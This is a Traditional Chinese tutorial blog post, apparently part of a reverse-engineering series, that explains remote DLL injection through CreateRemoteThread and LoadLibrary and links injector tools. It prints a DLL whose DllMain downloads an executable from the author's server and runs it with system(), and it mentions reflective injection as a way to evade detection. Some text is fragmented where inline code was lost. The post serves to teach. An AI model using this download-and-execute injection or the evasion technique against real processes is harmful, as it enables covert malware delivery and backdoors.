講了好久,今天終於來到了有名的 DLL遠程注入攻擊
,來了解甚麼是遠程DLL注入
吧。
透過 DLL注入 ,我們可以將特定的 DLL 檔案強制載入正在運行的程序來實現各種功能。可以以此獲得該軟體的權限,修改該程序使用的記憶體及功能。所以可以說上兩章利用 SetWindowsHookEx()
來使用 DLL 也是算一種 DLL 注入。
DLL注入我目前看到主要分四種方法 :
SetWindowsHookEx()
APIREGEDIT
) 的 LoadAppInit_DLLs
QueueUserAPC()
、SetThreadContext()
先來講解利用 CreateRemoteThread()
API來執行DLL注入。
來看看 DLL注入 是甚麼發生的 :
Handle
( 把它當成指向程式的指針 )。OpenProcess()
取得 DLL 得 Handlekernel32.dll
的 loadLibary()
位置並利用 CreateRemoteThread()
運行( 絕大部分程式都會預設載入 kernel32.dll )Thread
中透過一開始執行的 DllMain
來發動功能。我們來實測看看,利用這些工具來實現一次 DLL注入。
https://github.com/Dinlon5566/IT_Reverse_Engineering/tree/main/Dx19
首先看到 InjectDll.exe,它可以用來把指定的 DLL 注入到指定的 PID。這邊已經把程式編譯成 x64 程式,可以直接在 windows 10 & 11 執行。如果無法執行請確認防毒軟體是不是阻擋了運行。
另外提一下正常透過 LoadLibary()
注入的 DLL inject 痕跡過大,太容易被偵測並阻擋。所以這份工具還使用了反射式API注入
這個技術,簡單來說就是注入器自己有一個 loadLibary()
而不使用系統的並且修改導入函數表與重定向表。
InjectDll 工具來源 :
https://github.com/UserExistsError/InjectDll
再來是 getHello_run_x64.dll ,這是我寫的 DLL 程式,它可以到我的主機上下載程式並執行。
下面為主要執行的程式。
// getHello_run_x64.dll
case DLL_PROCESS_ATTACH:
{
HRESULT ret = URLDownloadToFileW(
nullptr,
L"https://ams.dinlon5566.com/Download/helloworld/HelloWorld_x64.exe",
L"HelloWorld_x64.exe",
0,
nullptr
);
if (ret != S_OK) {
return -1;
}
system("HelloWorld_x64.exe");
}
這個網址是我演示時用的,並不會一直存在。可以改成自己的連結。
那開始實驗 :
tasklist
指令或是 procexp 來查出 PID,然後就開始注入。會發現 DLL 下載了程式,並且成功運行了。某些操作會用類似概念來下載病毒或留下後門。之後來講講 DLL 注入器是甚麼在程式上實現的。